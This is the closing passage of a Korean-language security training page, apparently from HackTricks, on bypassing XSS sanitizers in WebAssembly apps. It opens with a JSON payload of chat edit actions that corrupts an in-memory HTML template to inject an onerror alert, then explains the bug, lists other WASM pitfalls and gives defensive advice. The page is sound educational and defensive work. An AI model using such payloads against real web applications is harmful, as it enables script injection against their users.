|
||||
{"action":"add","content":"hi","time":1756840476392},
|
||||
{"action":"add","content":"hi","time":1756840476392},
|
||||
{"action":"edit","msgId":10,"content":"aaaaaaaaaaaaaaaa.\u0000\u0001\u0000\u0050","time":1756885686080},
|
||||
{"action":"edit","msgId":0,"content":"img src=1 onerror=%.*s ","time":1756885686080},
|
||||
{"action":"add","content":"alert(1337)","time":1756840476392}
|
||||
]
|
||||
```
|
||||
왜 이 우회가 동작하는가
|
||||
- WASM는 linear memory에서의 코드 실행을 방지하지만, 프로그램 로직에 버그가 있으면 linear memory 내부의 constant data도 writable하다.
|
||||
- sanitizer는 source string만 보호한다; sink(HTML template)를 손상시키면, sanitized input이 JS handler 값이 되어 DOM에 삽입될 때 실행된다.
|
||||
- realloc()-driven adjacency와 edit flows에서의 unchecked memcpy는 포인터 손상을 유발해 linear memory 내 공격자가 선택한 주소로의 쓰기를 리다이렉트할 수 있게 한다.
|
||||
|
||||
일반화 및 기타 공격 표면
|
||||
- linear memory에 embedded된 모든 in-memory HTML template, JSON skeleton, 또는 URL pattern은 downstream에서 sanitized data가 어떻게 해석되는지를 변경하기 위한 표적이 될 수 있다.
|
||||
- 다른 일반적인 WASM 함정: linear memory에서의 out-of-bounds 쓰기/읽기, heap objects의 UAF, unchecked indirect call indices로 인한 function-table 오용, 그리고 JS↔WASM glue 불일치.
|
||||
|
||||
방어 지침
|
||||
- 편집 경로에서는 new length ≤ capacity를 검증하라; 복사 전에 버퍼를 재조정(resize)하라 (realloc to new_len) 또는 size-bounded APIs(snprintf/strlcpy)를 사용하고 capacity를 추적하라.
|
||||
- immutable templates는 writable linear memory 밖에 두거나 사용 전에 무결성(integrity) 검사를 수행하라.
|
||||
- JS↔WASM 경계를 untrusted로 취급하라: 포인터 범위/길이를 검증하고, exported interfaces를 fuzz하며, 메모리 성장을 제한하라.
|
||||
- sink에서 sanitize하라: WASM에서 HTML을 빌드하지 말고 innerHTML 스타일 템플릿 대신 안전한 DOM APIs를 사용하라.
|
||||
- privileged flows에서는 URL-embedded state를 신뢰하지 마라.
|
||||
|
||||
## References
|
||||
- [Pwning WebAssembly: Bypassing XSS Filters in the WASM Sandbox](https://zoozoo-sec.github.io/blogs/PwningWasm-BreakingXssFilters/)
|
||||
- [V8: Wasm Compilation Pipeline](https://v8.dev/docs/wasm-compilation-pipeline)
|
||||
- [V8: Liftoff (baseline compiler)](https://v8.dev/blog/liftoff)
|
||||
- [Debugging WebAssembly in Chrome DevTools (YouTube)](https://www.youtube.com/watch?v=BTLLPnW4t5s&t)
|
||||
- [SSD: Intro to Chrome exploitation (WASM edition)](https://ssd-disclosure.com/an-introduction-to-chrome-exploitation-webassembly-edition/)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
Loading…
x
Reference in New Issue
Block a user